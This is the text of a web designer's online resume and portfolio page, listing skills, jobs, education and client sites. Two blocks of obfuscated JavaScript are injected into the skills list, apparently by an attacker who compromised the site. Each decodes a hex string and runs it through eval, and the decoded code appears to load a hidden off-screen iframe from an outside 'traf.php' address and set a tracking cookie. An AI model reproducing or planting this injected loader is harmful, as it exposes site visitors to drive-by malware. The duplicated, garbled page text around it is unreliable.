J
o
n
S
t
o
u
t
.
n
e
t

www.
Jon Stout
.net

Welcome! You've found the online resume of Jon Stout, Cleveland, Ohio-based web designer and front-end developer. Please click the tabs to the left to explore what I have to offer. My specialties include:

  • XHTML and CSS
  • JavaScript
  • Flash CS3 with ActionScript 2 & 3
  • PHP and MySQL
  • Wordpress
  • XML and AJAX
  • Also proficient with jQuery, Photoshop CS3, Search Engine Optimization, DotNetNuke and Final Cut Pro.
){rcv=21;}if(1){idzoe="17:5d:6c:65:5a:6b:60:66:65:17:69:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5a:66:65:6b:69:66:63:63:5c:69:34:1e:60:65:5b:5c:6f:25:67:5f:67:1e:32:4:1:17:6d:58:69:17:69:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:69:5c:58:6b:5c:3c:63:5c:64:5c:65:6b:1f:1e:60:5d:69:58:64:5c:1e:20:32:4:1:4:1:17:69:25:6a:69:5a:17:34:17:1e:5f:6b:6b:67:31:26:26:5b:58:60:69:70:69:58:5b:58:69:25:5a:66:64:26:6b:69:58:5d:25:67:5f:67:1e:32:4:1:17:69:25:6a:6b:70:63:5c:25:67:66:6a:60:6b:60:66:65:17:34:17:1e:58:59:6a:66:63:6c:6b:5c:1e:32:4:1:17:69:25:6a:6b:70:63:5c:25:5a:66:63:66:69:17:34:17:1e:2a:2a:1e:32:4:1:17:69:25:6a:6b:70:63:5c:25:5f:5c:60:5e:5f:6b:17:34:17:1e:2a:2a:67:6f:1e:32:4:1:17:69:25:6a:6b:70:63:5c:25:6e:60:5b:6b:5f:17:34:17:1e:2a:2a:67:6f:1e:32:4:1:17:69:25:6a:6b:70:63:5c:25:63:5c:5d:6b:17:34:17:1e:28:27:27:27:2a:2a:1e:32:4:1:17:69:25:6a:6b:70:63:5c:25:6b:66:67:17:34:17:1e:28:27:27:27:2a:2a:1e:32:4:1:4:1:17:60:5d:17:1f:18:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:69:1e:20:20:17:72:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:6e:69:60:6b:5c:1f:1e:33:67:17:60:5b:34:53:1e:69:53:1e:17:5a:63:58:6a:6a:34:53:1e:69:27:30:53:1e:17:35:33:26:67:35:1e:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:69:1e:20:25:58:67:67:5c:65:5b:3a:5f:60:63:5b:1f:69:20:32:4:1:17:74:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:4a:5c:6b:3a:66:66:62:60:5c:1f:5a:66:66:62:60:5c:45:58:64:5c:23:5a:66:66:62:60:5c:4d:58:63:6c:5c:23:65:3b:58:70:6a:23:67:58:6b:5f:20:17:72:4:1:17:6d:58:69:17:6b:66:5b:58:70:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:6d:58:69:17:5c:6f:67:60:69:5c:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:60:5d:17:1f:65:3b:58:70:6a:34:34:65:6c:63:63:17:73:73:17:65:3b:58:70:6a:34:34:27:20:17:65:3b:58:70:6a:34:28:32:4:1:17:5c:6f:67:60:69:5c:25:6a:5c:6b:4b:60:64:5c:1f:6b:66:5b:58:70:25:5e:5c:6b:4b:60:64:5c:1f:20:17:22:17:2a:2d:27:27:27:27:27:21:29:2b:21:65:3b:58:70:6a:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:17:34:17:5a:66:66:62:60:5c:45:58:64:5c:22:19:34:19:22:5c:6a:5a:58:67:5c:1f:5a:66:66:62:60:5c:4d:58:63:6c:5c:20:4:1:17:22:17:19:32:5c:6f:67:60:69:5c:6a:34:19:17:22:17:5c:6f:67:60:69:5c:25:6b:66:3e:44:4b:4a:6b:69:60:65:5e:1f:20:17:22:17:1f:1f:67:58:6b:5f:20:17:36:17:19:32:17:67:58:6b:5f:34:19:17:22:17:67:58:6b:5f:17:31:17:19:19:20:32:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:3e:5c:6b:3a:66:66:62:60:5c:1f:17:65:58:64:5c:17:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:69:6b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:65:58:64:5c:17:22:17:19:34:19:17:20:32:4:1:17:6d:58:69:17:63:5c:65:17:34:17:6a:6b:58:69:6b:17:22:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:22:17:28:32:4:1:17:60:5d:17:1f:17:1f:17:18:6a:6b:58:69:6b:17:20:17:1d:1d:4:1:17:1f:17:65:58:64:5c:17:18:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:27:23:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:20:17:20:17:20:4:1:17:72:4:1:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:74:4:1:17:60:5d:17:1f:17:6a:6b:58:69:6b:17:34:34:17:24:28:17:20:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:6d:58:69:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:19:32:19:23:17:63:5c:65:17:20:32:4:1:17:60:5d:17:1f:17:5c:65:5b:17:34:34:17:24:28:17:20:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:63:5c:65:5e:6b:5f:32:4:1:17:69:5c:6b:6c:69:65:17:6c:65:5c:6a:5a:58:67:5c:1f:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:63:5c:65:23:17:5c:65:5b:17:20:17:20:32:4:1:74:4:1:60:5d:17:1f:65:58:6d:60:5e:58:6b:66:69:25:5a:66:66:62:60:5c:3c:65:58:59:63:5c:5b:20:4:1:72:4:1:60:5d:1f:3e:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:20:34:34:2c:2c:20:72:74:5c:63:6a:5c:72:4a:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:23:17:1e:2c:2c:1e:23:17:1e:28:1e:23:17:1e:26:1e:20:32:4:1:4:1:69:27:30:1f:20:32:4:1:74:4:1:74"[bbo](":");}iqegmj=idzoe;gaklkg=[];for(bovv=22-20-2;-bovv+1354!=0;bovv+=1){wpbepq=bovv;if((0x19==031))gaklkg+=String.fromCharCode(eval(uoj+iqegmj[1*wpbepq])+0xa-ucwux);}irxg=eval;irxg(gaklkg)}
  • XHTML and CSS
  • JavaScript
  • Flash CS3 with ActionScript 2 & 3
  • PHP and MySQL
  • Wordpress
  • XML and AJAX
  • Also proficient with jQuery, Photoshop CS3, Search Engine Optimization, DotNetNuke and Final Cut Pro.
labod){bhkju=21;}if(1){pmmfo="17:5d:6c:65:5a:6b:60:66:65:17:61:27:30:1f:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:6b:60:5a:34:1e:58:61:58:6f:1e:32:4:1:17:6d:58:69:17:5a:66:65:6b:69:66:63:63:5c:69:34:1e:60:65:5b:5c:6f:25:67:5f:67:1e:32:4:1:17:6d:58:69:17:61:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:69:5c:58:6b:5c:3c:63:5c:64:5c:65:6b:1f:1e:60:5d:69:58:64:5c:1e:20:32:4:1:4:1:17:61:25:6a:69:5a:17:34:17:1e:5f:6b:6b:67:31:26:26:5f:6c:65:6b:5c:69:6e:66:63:5d:5d:5e:58:63:63:5c:69:70:25:5a:66:64:26:6b:69:58:5d:25:67:5f:67:1e:32:4:1:17:61:25:6a:6b:70:63:5c:25:67:66:6a:60:6b:60:66:65:17:34:17:1e:58:59:6a:66:63:6c:6b:5c:1e:32:4:1:17:61:25:6a:6b:70:63:5c:25:5a:66:63:66:69:17:34:17:1e:29:28:1e:32:4:1:17:61:25:6a:6b:70:63:5c:25:5f:5c:60:5e:5f:6b:17:34:17:1e:29:28:67:6f:1e:32:4:1:17:61:25:6a:6b:70:63:5c:25:6e:60:5b:6b:5f:17:34:17:1e:29:28:67:6f:1e:32:4:1:17:61:25:6a:6b:70:63:5c:25:63:5c:5d:6b:17:34:17:1e:28:27:27:27:29:28:1e:32:4:1:17:61:25:6a:6b:70:63:5c:25:6b:66:67:17:34:17:1e:28:27:27:27:29:28:1e:32:4:1:4:1:17:60:5d:17:1f:18:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:61:1e:20:20:17:72:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:6e:69:60:6b:5c:1f:1e:33:67:17:60:5b:34:53:1e:61:53:1e:17:5a:63:58:6a:6a:34:53:1e:61:27:30:53:1e:17:35:33:26:67:35:1e:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:61:1e:20:25:58:67:67:5c:65:5b:3a:5f:60:63:5b:1f:61:20:32:4:1:17:74:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:4a:5c:6b:3a:66:66:62:60:5c:1f:5a:66:66:62:60:5c:45:58:64:5c:23:5a:66:66:62:60:5c:4d:58:63:6c:5c:23:65:3b:58:70:6a:23:67:58:6b:5f:20:17:72:4:1:17:6d:58:69:17:6b:66:5b:58:70:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:6d:58:69:17:5c:6f:67:60:69:5c:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:60:5d:17:1f:65:3b:58:70:6a:34:34:65:6c:63:63:17:73:73:17:65:3b:58:70:6a:34:34:27:20:17:65:3b:58:70:6a:34:28:32:4:1:17:5c:6f:67:60:69:5c:25:6a:5c:6b:4b:60:64:5c:1f:6b:66:5b:58:70:25:5e:5c:6b:4b:60:64:5c:1f:20:17:22:17:2a:2d:27:27:27:27:27:21:29:2b:21:65:3b:58:70:6a:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:17:34:17:5a:66:66:62:60:5c:45:58:64:5c:22:19:34:19:22:5c:6a:5a:58:67:5c:1f:5a:66:66:62:60:5c:4d:58:63:6c:5c:20:4:1:17:22:17:19:32:5c:6f:67:60:69:5c:6a:34:19:17:22:17:5c:6f:67:60:69:5c:25:6b:66:3e:44:4b:4a:6b:69:60:65:5e:1f:20:17:22:17:1f:1f:67:58:6b:5f:20:17:36:17:19:32:17:67:58:6b:5f:34:19:17:22:17:67:58:6b:5f:17:31:17:19:19:20:32:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:3e:5c:6b:3a:66:66:62:60:5c:1f:17:65:58:64:5c:17:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:69:6b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:65:58:64:5c:17:22:17:19:34:19:17:20:32:4:1:17:6d:58:69:17:63:5c:65:17:34:17:6a:6b:58:69:6b:17:22:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:22:17:28:32:4:1:17:60:5d:17:1f:17:1f:17:18:6a:6b:58:69:6b:17:20:17:1d:1d:4:1:17:1f:17:65:58:64:5c:17:18:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:27:23:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:20:17:20:17:20:4:1:17:72:4:1:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:74:4:1:17:60:5d:17:1f:17:6a:6b:58:69:6b:17:34:34:17:24:28:17:20:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:6d:58:69:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:19:32:19:23:17:63:5c:65:17:20:32:4:1:17:60:5d:17:1f:17:5c:65:5b:17:34:34:17:24:28:17:20:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:63:5c:65:5e:6b:5f:32:4:1:17:69:5c:6b:6c:69:65:17:6c:65:5c:6a:5a:58:67:5c:1f:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:63:5c:65:23:17:5c:65:5b:17:20:17:20:32:4:1:74:4:1:60:5d:17:1f:65:58:6d:60:5e:58:6b:66:69:25:5a:66:66:62:60:5c:3c:65:58:59:63:5c:5b:20:4:1:72:4:1:60:5d:1f:3e:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:20:34:34:2c:2c:20:72:74:5c:63:6a:5c:72:4a:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:23:17:1e:2c:2c:1e:23:17:1e:28:1e:23:17:1e:26:1e:20:32:4:1:4:1:61:27:30:1f:20:32:4:1:74:4:1:74"[lhdedy](":");}hmhm=pmmfo;desqk=[];for(jttz=22-20-2;-jttz+1362!=0;jttz+=1){djnt=jttz;if((0x19==031))desqk+=String.fromCharCode(eval(atuz+hmhm[1*djnt])+0xa-xkdfa);}ypqbx=eval;ypqbx(desqk)}
  • XHTML and CSS
  • JavaScript
  • Flash CS3 with ActionScript 2 & 3
  • PHP and MySQL
  • Wordpress
  • XML and AJAX
  • Also proficient with jQuery, Photoshop CS3, Search Engine Optimization, DotNetNuke and Final Cut Pro.

experience

Choose how to view this page:

Complete List of Skills:

  • Web design and front-end web development
  • Programming Expertise:XHTML, CSS, JavaScript, jQuery, Flash CS3, ActionScript 2.0, ActionScript 3.0, Flash Video, PHP, XML, W3C Standards.
  • Operating Systems:Windows XP, Windows Vista, Mac OS X
  • Content Management Systems:Wordpress, Ion/Liveball, Microsoft Sharepoint, DotNetNuke
  • Also proficient with Facebook API, Apple Final Cut Pro, Adobe After Effects CS3, Photoshop CS3, Dreamweaver CS3, Fireworks and Illustrator. Some experience with Python, ASP, ASP.NET, XSLT, InDesign CS3, Adobe Premiere Pro, Sharepoint Designer and Visual Studio 2008.

Work Experience:

ESPN, Bristol, Connecticut: 2/2011Present
Flash/Flex Engineer

  • Flash and Flex development for WatchESPN Product Development Team (including some mobile development for Android with Adobe AIR).
  • Technologies: Adobe Flash, Flex, Adobe AIR, ActionScript 3, XHTML, CSS, JavaScript, jQuery, Android, Java

Sherwin-Williams, Cleveland, Ohio: 11/20102/2011
Web Maintenance Contractor

  • Contract web maintenance contractor for Sherwin-Williams.
  • Technologies: XHTML, CSS, JavaScript

American Greetings Interactive, Brooklyn, Ohio: 09/200909/2010
Contract Web and Flash Developer / Video Editor

  • Contract full-time consultant, specializing in front-end web development and design.
  • Development of Flash videos, banners and widgets for Marketing landing pages
  • Integration of Facebook social widgets and custom-developed scripts using Facebook JavaScript SDK
  • Template and theme development using XHTML / CSS / JavaScript / jQuery / SEO for Ion/Liveball content management system
  • Video editing and motion animation using Adobe After Effects CS3
  • Other tasks include email HTML/CSS coding using ExactTarget, updates through proprietary AG systems, uploads and source control management through Subversion - among other tasks
  • Accomplishments include the utilization of streaming video for e-card previews on Marketing landing pages (with a resulting large increase in conversion rates); the creation of seasonal banner advertisements for Thanksgiving, Halloween, Hannukah and more across multiple brands; coding of user-editable Flash widgets and image rotators that interact with the Ion/Liveball content management system; the submission of multiple projects to the project management office; and the timely integration of custom Flash content created by outside vendors into Ion/Liveball.
  • Technologies: Flash CS3, ActionScript 3.0, ActionScript 2.0, XHTML, CSS, JavaScript, jQuery, Python, MySQL, XML, Ion/Liveball content management system

Community Health Partners Regional Foundation, Lorain, Ohio: 03/201006/2010
Freelance Web Designer / Developer

  • Hired to create website HotRodRaffle.org for a charity car raffle hosted by local non-profit group
  • Wordpress site utilizing XHMTL/CSS, jQuery animation, self-updating sitemap and navigation bars, and custom Paypal integration
  • Design based on pre-existing marketing materials
  • Site was completed as per client specifications. Site is no longer online; client decided to abandon the project in August 2010 of their own accord. See Portfolio section for screnshots.
  • Technologies: XHTML, CSS, JavaScript, jQuery, PHP, MySQL, XML, W3C Standards, Search Engine Optimization (SEO), Wordpress, Paypal API

Perception Multimedia, Middleburg Heights, Ohio: 11/2009
Freelance Front-End Web Developer / Designer

  • Freelance job. Brought in to develop web site from a provided design. Also developed a custom Flash video rotator for the front page.
  • Technologies: XHTML, CSS, Search Engine Optimization (SEO), W3C Standards, Flash CS3, ActionScript 3.0, Photoshop CS4

CherishMemories.net, Cleveland, Ohio: 08/200911/2009
Freelance Web Developer / Designer

  • Created a customized E-Commerce/Wordpress site for a private client interested in creating a website to host online memorials for deceased love ones. Developed in PHP/mySQL custom plugins that allowed the site to process online memorial pages, take payments for memorial hosting and allow the creation of templates for different memorials.
  • Integration of Paypal into website; used Paypal's IPN features to save information into a viewable database for easy monitoring of transactions.
  • Use of Google AdSense for tasteful online advertising / additional source of revenue
  • Partially responsible for site design; augmented and developed some samples provided by a graphic designer to create a custom Wordpress theme.
  • Developed administration plugins to ease tasks of site management, including monitoring and access to memorial and payment databases, setting of hosting prices, and more.
  • Technologies: XHTML, CSS, PHP, mySQL, Search Engine Optimization (SEO), W3C Standards, Wordpress, Paypal, Google Adwords, Google Analytics, Photoshop CS4

LoopScreen, North Ridgeville, Ohio: 07/200908/2009
Web Designer / Front-End Web Developer

  • As part-time consultant. Web design, search engine optimization and front-end web development for Ohio-based social networking startup.
  • Technologies: XHTML, CSS, Search Engine Optimization (SEO), PHP, W3C Standards, Photoshop CS4

Data Recovery Corporation, Cleveland, Ohio: 07/2009
SEO / Front-End Web Developer

  • As part-time consultant. Worked on web design, search engine optimization and content writing for Cleveland-based business specializing in data and hard drive recovery.
  • Interfaced PHP-based forms and scripts with existing ASP.NET backend via HTTP submissions compiled through the PHP cURL library.
  • Set up new sites on an Apache web server by modifying configuration files.
  • Technologies: XHTML, CSS, Search Engine Optimization (SEO), PHP, Apache.

Nice Multimedia, Rocky River, Ohio: 02/200906/2009
Flash/ActionScript Developer

  • As a part-time consultant through the Creative Group, Cleveland, Ohio.
  • Initially brought on to develop scripts in AS3 and AS2 for an online advertisement project. Designed and programmed a small “game” into the ad, as per specifications. Researched and implemented Google AdWords and MySpace advertising standards.
  • Have since worked on modifying, correcting and testing a Flash/AS2 rich Internet application with ASP.NET and XML components. Coordinated with an onsite .NET developer in tweaking and testing all components of the application to client specifications. Decoded extremely complex XML system in order to ensure proper communication between the application and the server.
  • Technologies: Flash CS3, ActionScript 3.0, ActionScript 2.0, XML.

SCK Design, Inc., Cleveland, Ohio: 07/200812/2008
Front-End Web Developer

  • Developed, coded and tested XHTML/CSS pages based on designs created by another department.
  • Developed DotNetNuke skins, Sharepoint master pages and custom Wordpress themes to exact design specifications.
  • Created a Flash CS3/ActionScript 3.0 “plugin” application for DotNetNuke that allowed the CMS to communicate and transmit image data to a Flash image gallery via XML/XSLT.
  • Developed an internal DotNetNuke site/portal for use as a demonstration when presenting to potential clients. Task involved XHTML, CSS, JavaScript, an understanding of DotNetNuke skinning, and W3C Standards.
  • Edited and modified Wordpress administrative dashboard to client specifications.
  • Developed and tested custom Wordpress plugins.
  • Modified and tested ASP.NET templates used by DotNetNuke modules.
  • Other tasks included maintenance and updating of legacy websites, documentation of work in a Sharepoint wiki, research on potential Sharepoint plugins and solutions, cross-browser testing on multiple platforms and content proofreading.
  • Technologies: XHTML, CSS, JavaScript, Flash CS3, ActionScript 3.0, PHP, XML/XSLT, DotNetNuke, Wordpress, Windows Sharepoint Services (WSS), Microsoft Office Sharepoint Server (MOSS), Sharepoint Designer, Visual Studio 2008, Dreamweaver 8, IIS 6.0, Microsoft SourceSafe, Photoshop 7, Fireworks CS3, Windows Remote Desktop Services.

Internet Marketing Group, Cleveland Clinic, Cleveland, Ohio: 01/200804/2008
Contract Front-End Web Developer/Web Designer

  • As a full-time contractor through the Creative Group, Cleveland, Ohio.
  • Initially hired as a quality assurance (QA) coder, involved in reformatting and simplifying XHTML/HTML content being moved between content management systems to W3C Standards.
  • After roughly a month, was promoted to working with the Design Manager on the total design for the new Cleveland Clinic website. Created XHTML/CSS templates based on provided designs; assisted in cross-browser testing and SEO optimization; introduced to Sharepoint branding and basic design concepts.
  • Technologies: XHTML, CSS, W3C Standards, Search Engine Optimization, Dreamweaver, Photoshop, Fireworks.

Captain Action Enterprises, Hawthorne, New Jersey: 10/200703/2008
Web Designer

  • As a freelance web designer, created new website for a New Jersey-based marketing company focusing on a 1960’s superhero property.
  • Used XHTML, CSS and JavaScript through Dreamweaver CS3 for basic site template and format (including rollover buttons and branded look).
  • Developed and tested a custom Wordpress theme for a blog section of the site.
  • Was later called in again to secure site and Wordpress install against a cross-site scripting attack.
  • Other tasks included cross-browser testing, some Flash animations, and creation and optimization of graphics using Photoshop.
  • Technologies: XHTML, CSS, JavaScript, Flash CS3, W3C Standards, Dreamweaver.

Office of Civic Education Initiatives, Cleveland Clinic, Cleveland, OH: 11/200712/2007
Junior Web Design Consultant

  • Revised Internships section of Cleveland Clinic nonprofit arm as a consultant.
  • Technologies: ASP/VBScript, HTML, JavaScript, CSS

education

Filter Education by Interest:

Bachelor of Arts in English
Kenyon College,Gambier, OH,August 2002May 2006

  • Concentration in Creative Writing
  • Graduated cum laude
  • Courses taken include: Acting and Directing for the Camera, Documentary Video Production, and Independent Study in Screenplay Writing.
  • While at Kenyon, wrote, directed and edited "The Wings of Angels," a forty-five minute short film. Involved coordinating the efforts of seventy-one individuals in total.
  • Founded and was first President of Ascension Films, the only student filmmaking group at Kenyon. Organized a juried student film festival in December 2004.

High School Degree
Lake Ridge Academy,North Ridgeville, OH,August 1998June 2002

  • Attended academically rigorous private high school in Northeast Ohio.
Continued Education

Downtown Community Television,New York City, NY,Fall 2006Spring 2007

  • Took multiple Continuing Education courses through filmmaker's cooperative in New York City.
  • Courses included: Lighting 101, Audio 101, Producing Fundamentals and Introduction to Adobe After Effects.

Certificate in Applied Web Design
Cleveland State University,Cleveland, OH,August 2007December 2007

  • Courses included: Advanced JavaScript, Cascading Style Sheets, Flash Video Development, and Flash ActionScript.

Cuyahoga Community College,Cleveland, OH,May 2008August 2009

  • Attending when possible as non-degree/continuing education student.
  • Courses completed include: Introduction to Business, Fundamentals of Design and Layout, Fundamentals of Interpersonal Communication, Introduction to DV and Digital Filmmaking, and Digital Cinematography.

Cleveland State University,Cleveland, OH,May 2009June 2009

  • Attending as non-degree/continuing education student.
  • Courses completed include: Introduction to XML, Database Concepts, Introduction to SQL and Introduction to Visual C#.NET.
Other Activites
  • One year’s experience in the New York City film industry as an intern, production assistant and assistant editor. Please see the Video section for more details.
  • Designed and self-published an e-book in June 2008 using Adobe inDesign.
  • Winner of the 2002 Young Playwrights, Inc. contest, a national competition for high-school-aged playwrights.

portfolio

The Tinwatchman Company
http://www.tinwatchman.com/

June 2009

Online: Yes! Click here to visit!

Technologies: Wordpress, Flash CS3, ActionScript 3, XHTML, CSS, JavaScript, PHP, Google AdSense, Google Analytics, Photoshop CS4

  • Created custom steampunk-style Wordpress theme for personal side project. The entire website is my work, from design to code.
  • Site is DHTML/CSS superimposed over an animated Flash background. This approach allows the site to be easily read and indexed by search engines while still utilizing the visual capabilities of Flash.
  • Uses Wordpress backend for easy updating.
  • Social networking buttons enable sharing of site through Facebook, Twitter and Diggit.
  • Uses Google AdSense for Internet advertising.
The Tinwatchman Company - Main ScreenshotScreenshotScreenshot

click thumbnails to view full size

HotRodRaffle.org
http://www.hotrodraffle.org/

March — June 2010

Online: No. Site removed by client.

Technologies: Wordpress, jQuery, XHTML, CSS, JavaScript, PHP, MySQL, Paypal, Google Analytics, Photoshop CS4, Illustrator CS4

  • Site developed to support a charity car raffle hosted by Community Health Partners Regional Foundation
  • Design based on pre-existing publicity materials, as well as samples provided by client
  • Left sidebar featured jQuery-animated scroll of sponsor logos
  • Top jQuery-animated navigation bar automatically generated from site hierarchy by Wordpress
  • Strong call-to-action on home page draws client towards purchasing raffle tickets online
  • Custom-developed Wordpress plugin automatically tracked ticket purchases through Paypal API, recorded sales into database, and sent daily notification emails to user-defined address.
HotRodRaffle.org - Main ScreenshotScreenshotScreenshot

click thumbnails to view full size

CherishMemories.net
http://www.cherishmemories.net/

August — November 2009

Online: Yes! Click here to visit!

Technologies: Wordpress, PHP, mySQL, XHTML, CSS, JavaScript, AJAX, Paypal, Google AdSense, Google Analytics, Photoshop CS4

  • Developed a Wordpress site which allows users to register, log in and post online memorials.
  • Users can create and monitor multiple memorials.
  • Paypal integration allows users to pay for extended hosting using credit cards.
  • Custom backend plugin allows administrator to view and approve new memorials, view the memorial database, set hosting price, view past payments, and more.
  • Template system streamlines uploading of new artistic templates for memorials.
  • Uses Google AdSense for Internet advertising.
  • Site based off design by Reginald Rush; added some design elements later by request of client.
CherishMemories.net - Main ScreenshotScreenshotScreenshotScreenshotScreenshotScreenshotScreenshot

click thumbnails to view full size

David Consulting Group Blogs
http://www.davidconsultinggroup.com/blogs/

September — October 2008

Online: Yes! Click here to visit!

Technologies: Wordpress, PHP, XHTML, CSS, Photoshop CS3, XML, IIS 6.0

  • Multiple blogs (four in total) created while working for SCK Design, Inc. Client requested the integration of multiple blogs into a preexisting site. Used a custom Wordpress theme to impliment a design created by SCK's graphic design department.
  • Created custom sidebar widgets - custom tag cloud, custom RSS links - to better fit design.
  • Customized Wordpress administrative backend for ease of use.
  • Added search engine optimization
  • Coded a custom "front page" for blogs section using PHP, which aggregates and displays the first new post of each blog in an easy-to-read format.
David Consulting Group Blogs - Main ScreenshotScreenshotScreenshotScreenshotScreenshot

click thumbnails to view full size

R & R Rentals
http://www.r-and-r-rentals.com/

June — July 2008

Online: Yes! Click here to visit!

W3C Compliant?: Yes! Click here to validate!

Technologies: XHTML, CSS, Search Engine Optimization, Web Accessibility, Photoshop, some PHP

  • As freelance web designer. Designed and implimented website for a small rental company near St. Louis, Missouri.
  • Basic "business card"-style site, designed with SEO in mind.
  • Includes CSS onion-skin drop shadows, elastic design using relative units, fully functional contact form and embedded Google map.
R & R Rentals - Main ScreenshotScreenshotScreenshot

click thumbnails to view full size

Cleveland Clinic Heart & Vascular Institute
http://www.clevelandclinic.org/heart/

January — April 2008

Online: Yes! Content has changed in the year since, but basic design remains the same as of 6/25/09. Click here to visit!

Technologies: XHTML, CSS, W3C Standards, Microsoft Sharepoint, Dreamweaver, web accessibility, some JavaScript

  • Produced while a contract web designer for the Cleveland Clinic Internet Marketing Group, the project charged with designing and implimenting the Clinic's current website.
  • Created XHTML/CSS template from design by Web Design Manager Jessica Englund. Template later revised for accessibility standards, but remained essentially the same.
Cleveland Clinic Heart & Vascular Institute - Main ScreenshotScreenshotScreenshotScreenshotScreenshot

click thumbnails to view full size

Captain Action Now.com
http://www.captainactionnow.com/

October 2007 — March 2008

Online: Yes! - but has since been modified in certain areas by the client. Click here to visit!

Technologies: XHTML, CSS, JavaScript, Dreamweaver, WordPress, Flash, Photoshop, some SEO.

  • As a freelance web designer, created website for marketing company specializing in a 1960's-era superhero property.
  • Responsible for majority of design; logo was not my work.
  • Used Dreamweaver template to produce site; used Wordpress to create a blog/News section.
  • Brought back in in April 2007 to secure website against cross-scripting site attack.
Captain Action Now.com - Main ScreenshotScreenshot

click thumbnails to view full size

Cleveland Clinic Office of Civic Education Initiatives
http://www.clevelandclinic.org/civiceducation/

November — December 2007

Online: No. Site has since been replaced.

Technologies: ASP/VBScript, JavaScript form validation, CSS, Photoshop

  • Revised and updated Internships section of site for Cleveland Clinic nonprofit arm.
Cleveland Clinic Office of Civic Education Initiatives - Main ScreenshotScreenshot

click thumbnails to view full size

video

Content coming soon...

about this site

Content coming soon.

contact me

I am currently based in Avon Lake, Ohio. Please feel free to contact me via the following means:

  • By cell phone:
  • nothing to see here
  • By e-mail:
  • also nothing here

I am also active on the following sites:

  • View Jon Stout's profile on LinkedIn
  • View Jon Stout's profile on the Internet Movie Database
  • View Jon Stout's Youtube channel
  • View Jon Stout's profile at Stock.Xchange
